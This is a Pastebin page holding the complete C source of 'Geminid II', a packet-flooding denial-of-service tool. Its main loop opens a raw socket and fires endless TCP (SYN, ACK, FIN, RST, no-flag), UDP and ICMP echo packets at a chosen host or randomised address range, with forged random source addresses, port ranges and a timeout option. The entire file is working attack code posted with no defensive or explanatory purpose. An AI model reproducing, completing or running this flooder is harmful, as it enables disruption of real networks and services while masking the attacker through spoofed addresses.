LNO_LiGhT

flood.c

Jun 15th, 2015
2,802
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 13.76 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <netdb.h>
  5. #include <sys/types.h>
  6.  
  7. #ifdef F_PASS
  8. #include <sys/stat.h>
  9. #endif
  10.  
  11. #include <netinet/in_systm.h>                                                  
  12. #include <sys/socket.h>
  13. #include <string.h>
  14. #include <time.h>
  15.  
  16. #ifndef __USE_BSD
  17. #   define __USE_BSD
  18. #endif
  19.  
  20. #ifndef __FAVOR_BSD
  21. #   define __FAVOR_BSD
  22. #endif
  23.  
  24. #include <netinet/in.h>
  25. #include <netinet/ip.h>
  26. #include <netinet/tcp.h>
  27. #include <netinet/udp.h>
  28. #include <netinet/ip_icmp.h>
  29. #include <arpa/inet.h>
  30.  
  31.  
  32. #ifdef LINUX
  33. #   define FIX(x)  htons(x)
  34. #else
  35. #   define FIX(x)  (x)
  36. #endif
  37.  
  38.  
  39. /* Geminid attack flags */
  40. #define TCP_ACK         1
  41. #define TCP_FIN         2
  42. #define TCP_SYN         4
  43. #define TCP_RST         8
  44. #define UDP_CFF        16
  45. #define ICMP_ECHO_G    32
  46. #define TCP_NOF        64 /* -N */
  47.  
  48. /* No flag attack */
  49. #define TH_NOF         0x0
  50.  
  51. #define TCP_ATTACK()    (a_flags & TCP_ACK ||\
  52.                          a_flags & TCP_FIN ||\
  53.                          a_flags & TCP_SYN ||\
  54.                          a_flags & TCP_RST ||\
  55.                          a_flags & TCP_NOF)
  56.  
  57.  
  58. #define UDP_ATTACK()    (a_flags & UDP_CFF)
  59. #define ICMP_ATTACK()   (a_flags & ICMP_ECHO_G)
  60.  
  61.  
  62. #define CHOOSE_DST_PORT() dst_sp == 0 ?\
  63.                           random ()   :\
  64.                           htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
  65.  
  66.  
  67. #define CHOOSE_SRC_PORT() src_sp == 0 ?\
  68.                           random ()   :\
  69.                           htons(src_sp + (random() % (src_ep -src_sp +1)));
  70.  
  71.  
  72. #define SEND_PACKET()   if (sendto(rawsock,\
  73.                                    &packet,\
  74.                                    (sizeof packet),\
  75.                                    0,\
  76.                                    (struct sockaddr *)&target,\
  77.                                     sizeof target) < 0) {\
  78.                                         perror("sendto");\
  79.                                         exit(-1);\
  80.                         }
  81.  
  82.  
  83.  
  84. /* Linux / SunOS x86 / FreeBSD */
  85. //#define BANNER_CKSUM 54018
  86.  
  87. /* SunOS Sparc */
  88. #define BANNER_CKSUM 723
  89.  
  90.  
  91. u_long lookup(const char *host);
  92. unsigned short in_cksum(unsigned short *addr, int len);                        
  93. static void inject_iphdr(struct ip *ip, u_char p, u_char len);
  94. char *class2ip(const char *class);
  95. static void send_tcp(u_char th_flags);
  96. static void send_udp(u_char garbage);
  97. static void send_icmp(u_char garbage);
  98. char *get_plain(const char *crypt_file, const char *xor_data_key);
  99. static void usage(const char *argv0);
  100.  
  101.  
  102. u_long dstaddr;
  103. u_short dst_sp, dst_ep, src_sp, src_ep;
  104. char *src_class, *dst_class;
  105. int a_flags, rawsock;
  106. struct sockaddr_in target;
  107.  
  108. /* Self promotion :) */
  109. const char *banner = "Geminid II. by live [TCP/UDP/ICMP Packet flooder]";
  110.  
  111. struct pseudo_hdr {         /* See RFC 793 Pseudo Header */
  112.     u_long saddr, daddr;    /* source and dest address   */
  113.     u_char mbz, ptcl;       /* zero and protocol         */
  114.     u_short tcpl;           /* tcp length                */
  115. };
  116.  
  117. struct cksum {
  118.     struct pseudo_hdr pseudo;
  119.     struct tcphdr tcp;
  120. };
  121.  
  122.  
  123. struct {
  124.     int gv; /* Geminid value */
  125.     int kv; /* Kernel value */
  126.     void (*f)(u_char);
  127. } a_list[] = {
  128.  
  129.         /* TCP */
  130.     { TCP_ACK, TH_ACK, send_tcp },
  131.     { TCP_FIN, TH_FIN, send_tcp },
  132.     { TCP_SYN, TH_SYN, send_tcp },
  133.     { TCP_RST, TH_RST, send_tcp },
  134.     { TCP_NOF, TH_NOF, send_tcp }, /* No flag attack */
  135.  
  136.         /* UDP */
  137.     { UDP_CFF, 0, send_udp },
  138.  
  139.         /* ICMP */
  140.     { ICMP_ECHO_G, ICMP_ECHO, send_icmp },
  141.     { 0, 0, (void *)NULL },
  142. };
  143.  
  144.  
  145. int
  146. main(int argc, char *argv[])
  147. {
  148.     int n, i, on = 1;
  149.     int b_link;
  150. #ifdef F_PASS
  151.     struct stat sb;
  152. #endif
  153.     unsigned int until;
  154.  
  155.  
  156.     a_flags = dstaddr = i = 0;
  157.     dst_sp = dst_ep = src_sp = src_ep = 0;
  158.     until = b_link = -1;
  159.     src_class = dst_class = NULL;
  160.     while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
  161.         char *p;
  162.  
  163.         switch (n) {
  164.             case 'T': /* TCP attack
  165.                        *
  166.                        * 0: ACK
  167.                        * 1: FIN
  168.                        * 2: RST
  169.                        * 3: SYN
  170.                        */
  171.  
  172.                 switch (atoi(optarg)) {
  173.                     case 0: a_flags |= TCP_ACK; break;
  174.                     case 1: a_flags |= TCP_FIN; break;
  175.                     case 2: a_flags |= TCP_RST; break;
  176.                     case 3: a_flags |= TCP_SYN; break;
  177.                 }
  178.                 break;
  179.  
  180.             case 'U': /* UDP attack
  181.                        */
  182.                 a_flags |= UDP_CFF;
  183.                 break;
  184.  
  185.             case 'I': /* ICMP attack
  186.                        */
  187.                 a_flags |= ICMP_ECHO_G;
  188.                 break;
  189.  
  190.             case 'N': /* Bogus No flag attack (TCP)
  191.                        */
  192.                 a_flags |= TCP_NOF;
  193.                 break;
  194.  
  195.             case 's':
  196.                 src_class = optarg;
  197.                 break;
  198.  
  199.             case 'h':
  200.                 dstaddr = lookup(optarg);    
  201.                 break;
  202.  
  203.             case 'd':
  204.                 dst_class = optarg;
  205.                 i = 1; /* neat flag to check command line later */
  206.                 break;
  207.  
  208.             case 'p':
  209.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  210.                     usage(argv[0]);
  211.                 dst_sp = atoi(optarg); /* Destination start port */
  212.                 dst_ep = atoi(p +1);   /* Destination end port */
  213.                 break;
  214.  
  215.             case 'q':
  216.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  217.                     usage(argv[0]);
  218.                 src_sp = atoi(optarg); /* Source start port */
  219.                 src_ep = atoi(p +1);   /* Source end port */
  220.                 break;
  221.  
  222.             case 'l':
  223.                 b_link = atoi(optarg);
  224.                 if (b_link <= 0 || b_link > 100)
  225.                     usage(argv[0]);
  226.                 break;
  227.  
  228.             case 't':
  229.                 until = time(0) +atoi(optarg);
  230.                 break;
  231.  
  232.             default:
  233.                 usage(argv[0]);
  234.                 break;
  235.         }
  236.     }
  237.  
  238.     /* Checking command line */
  239.     if ( (!dstaddr && !i) ||
  240.          (dstaddr && i) ||
  241.          (!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
  242.          (src_sp != 0 && src_sp > src_ep) ||
  243.          (dst_sp != 0 && dst_sp > dst_ep))
  244.             usage(argv[0]);
  245.  
  246.     srandom(time(NULL) ^ getpid());
  247.  
  248.     /* Opening RAW socket */
  249.     if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  250.         perror("socket");
  251.         exit(-1);
  252.     }
  253.  
  254.     if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
  255.         (char *)&on, sizeof(on)) < 0) {
  256.             perror("setsockopt");
  257.             exit(-1);
  258.     }
  259.  
  260.     /* Filling target structure */
  261.     target.sin_family           = AF_INET;
  262.  
  263.     /* Packeting! */
  264.     for (n = 0; ; ) {
  265.  
  266.         /* Poor link control handling */
  267.         if (b_link != -1 && random() % 100 +1 > b_link) {
  268.             if (random() % 200 +1 > 199)
  269.                 usleep(1);
  270.             continue;
  271.         }
  272.  
  273.         /* Sending requested packets */
  274.         for (i = 0; a_list[i].f != NULL; ++i) {
  275.             if (a_list[i].gv & a_flags)
  276.                 a_list[i].f(a_list[i].kv);
  277.         }        
  278.  
  279.         /* Attack is finished? Do not check it every time, would eat
  280.          * too much CPU */
  281.         if (n++ == 100) {
  282.             if (until != -1 && time(0) >= until) break;
  283.             n = 0;
  284.         }
  285.     }
  286.                
  287.     exit(0);
  288. }
  289.  
  290.  
  291. u_long
  292. lookup(const char *host)
  293. {
  294.     struct hostent *hp;
  295.  
  296.     if ( (hp = gethostbyname(host)) == NULL) {
  297.         perror("gethostbyname");
  298.         exit(-1);
  299.     }
  300.  
  301.     return *(u_long *)hp->h_addr;
  302. }
  303.  
  304.  
  305. #define RANDOM() (int) random() % 255 +1
  306.  
  307. char *
  308. class2ip(const char *class)
  309. {
  310.     static char ip[16];
  311.     int i, j;
  312.  
  313.     for (i = 0, j = 0; class[i] != '\0'; ++i)
  314.         if (class[i] == '.')
  315.             ++j;
  316.  
  317.     switch (j) {
  318.         case 0:
  319.             sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
  320.             break;
  321.         case 1:
  322.             sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
  323.             break;
  324.         case 2:
  325.             sprintf(ip, "%s.%d", class, RANDOM());
  326.             break;
  327.  
  328.         /* Spoofing single host */
  329.         default: strncpy(ip, class, 16);
  330.                  break;
  331.     }
  332.     return ip;
  333. }
  334.  
  335.  
  336. unsigned short
  337. in_cksum(unsigned short *addr, int len)
  338. {
  339.     int nleft = len;
  340.     int sum = 0;
  341.     unsigned short *w = addr;
  342.     unsigned short answer = 0;
  343.  
  344.     /*
  345.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  346.      * sequential 16 bit words to it, and at the end, fold back all the
  347.      * carry bits from the top 16 bits into the lower 16 bits.
  348.      */
  349.     while (nleft > 1) {
  350.         sum += *w++;
  351.         nleft -= 2;
  352.     }
  353.  
  354.     /*
  355.      * Mop up an odd byte, if necessary
  356.      */
  357.     if (nleft == 1) {
  358.         *(unsigned char *) (&answer) = *(unsigned char *)w;
  359.         sum += answer;
  360.     }
  361.  
  362.     /*
  363.      * Add back carry outs from top 16 bits to low 16 bits
  364.      */
  365.     sum    = (sum >> 16) + (sum & 0xffff);  /* add hi 16 to low 16 */
  366.     sum   += (sum >> 16);                   /* add carry           */
  367.     answer = ~sum;                          /* truncate to 16 bits */
  368.  
  369.     return answer;
  370. }
  371.  
  372.  
  373. /*
  374.  * Creating generic ip header, not yet ready to be used.
  375.  */
  376. static void
  377. inject_iphdr(struct ip *ip, u_char p, u_char len)
  378. {
  379.  
  380.  
  381.     /* Filling IP header */
  382.     ip->ip_hl             = 5;
  383.     ip->ip_v              = 4;
  384.     ip->ip_p              = p;
  385.     ip->ip_tos            = 0x08; /* 0x08 */
  386.     ip->ip_id             = random();
  387.     ip->ip_len            = len;
  388.     ip->ip_off            = 0;
  389.     ip->ip_ttl            = 255;
  390.  
  391.     ip->ip_dst.s_addr     = dst_class != NULL ?
  392.                             inet_addr(class2ip(dst_class)) :
  393.                             dstaddr;
  394.  
  395.     ip->ip_src.s_addr     = src_class != NULL ?
  396.                             inet_addr(class2ip(src_class)) :
  397.                             random();
  398.  
  399.     /* I know, this is not part of the game, but anyway.. */
  400.     target.sin_addr.s_addr = ip->ip_dst.s_addr;
  401. }    
  402.  
  403.  
  404. static void
  405. send_tcp(u_char th_flags)
  406. {
  407.     struct cksum cksum;
  408.     struct packet {
  409.         struct ip ip;
  410.         struct tcphdr tcp;
  411.     } packet;
  412.  
  413.  
  414.     /* Filling IP header */
  415.     memset(&packet, 0, sizeof packet);
  416.     inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  417.     packet.ip.ip_sum        = in_cksum((void *)&packet.ip, 20);
  418.  
  419.     /* Filling cksum pseudo header */
  420.     cksum.pseudo.daddr      = dstaddr;
  421.     cksum.pseudo.mbz        = 0;
  422.     cksum.pseudo.ptcl       = IPPROTO_TCP;
  423.     cksum.pseudo.tcpl       = htons(sizeof(struct tcphdr));
  424.     cksum.pseudo.saddr      = packet.ip.ip_src.s_addr;
  425.  
  426.     /* Filling TCP header */
  427.     packet.tcp.th_flags     = 0;
  428.     packet.tcp.th_win       = htons(65535);
  429.     packet.tcp.th_seq       = random();
  430.     packet.tcp.th_ack       = 0;
  431.     packet.tcp.th_flags     = th_flags;
  432.     packet.tcp.th_off       = 5;
  433.     packet.tcp.th_urp       = 0;
  434.     packet.tcp.th_sport     = CHOOSE_SRC_PORT();
  435.     packet.tcp.th_dport     = CHOOSE_DST_PORT();
  436.     cksum.tcp               = packet.tcp;
  437.     packet.tcp.th_sum       = in_cksum((void *)&cksum, sizeof(cksum));
  438.     SEND_PACKET();
  439. }
  440.  
  441.  
  442. static void
  443. send_udp(u_char garbage) /* No use for garbage here, just to remain */
  444. {                        /* coherent with a_list[]                  */
  445.     struct packet {
  446.         struct ip ip;
  447.         struct udphdr udp;
  448.     } packet;
  449.  
  450.  
  451.     /* Filling IP header */
  452.     memset(&packet, 0, sizeof packet);
  453.     inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  454.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  455.  
  456.     /* Filling UDP header */
  457.     packet.udp.uh_sport         = CHOOSE_SRC_PORT();
  458.     packet.udp.uh_dport         = CHOOSE_DST_PORT();
  459.     packet.udp.uh_ulen          = htons(sizeof packet.udp);
  460.     packet.udp.uh_sum           = 0; /* No checksum */
  461.     SEND_PACKET();
  462. }
  463.  
  464.  
  465. static void
  466. send_icmp(u_char gargabe) /* Garbage discarded again.. */
  467. {
  468.     struct packet {
  469.         struct ip ip;
  470.         struct icmp icmp;
  471.     } packet;
  472.  
  473.  
  474.     /* Filling IP header */
  475.     memset(&packet, 0, sizeof packet);
  476.     inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  477.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  478.  
  479.     /* Filling ICMP header */
  480.     packet.icmp.icmp_type       = ICMP_ECHO;
  481.     packet.icmp.icmp_code       = 0;
  482.     packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
  483.     SEND_PACKET();
  484. }
  485.  
  486.  
  487. static void
  488. usage(const char *argv0)
  489. {
  490.     printf("%s \n", banner);
  491.     printf("Usage: %s [-T -U -I -N -s -h -d -p -q -l -t]\n\n", argv0);
  492.  
  493. printf("REGISTERED TO: seilaqm..\n\n");
  494.  
  495. printf("    -T TCP attack [0:ACK, 1:FIN, 2:RST, 3:SYN]   (no default         )\n");
  496. printf("    -U UDP attack                                (no options         )\n");
  497. printf("    -I ICMP attack                               (no options         )\n");
  498. printf("    -N Bogus No flag attack                      (no options         )\n");
  499. printf("    -s source class/ip                           (defaults to random )\n");
  500. printf("    -h destination host/ip                       (no default         )\n");
  501. printf("    -d destination class                         (no default         )\n");
  502. printf("    -p destination port range [start,end]        (defaults to random )\n");
  503. printf("    -q source port range [start,end]             (defaults to random )\n");
  504. printf("    -l %% of box link to use                      (defaults to 100%%   )\n");
  505. printf("    -t timeout                                   (defaults to forever)\n");
  506.  
  507.  
  508.     exit(-1);
  509. }
Advertisement
Add Comment
Please, Sign In to add comment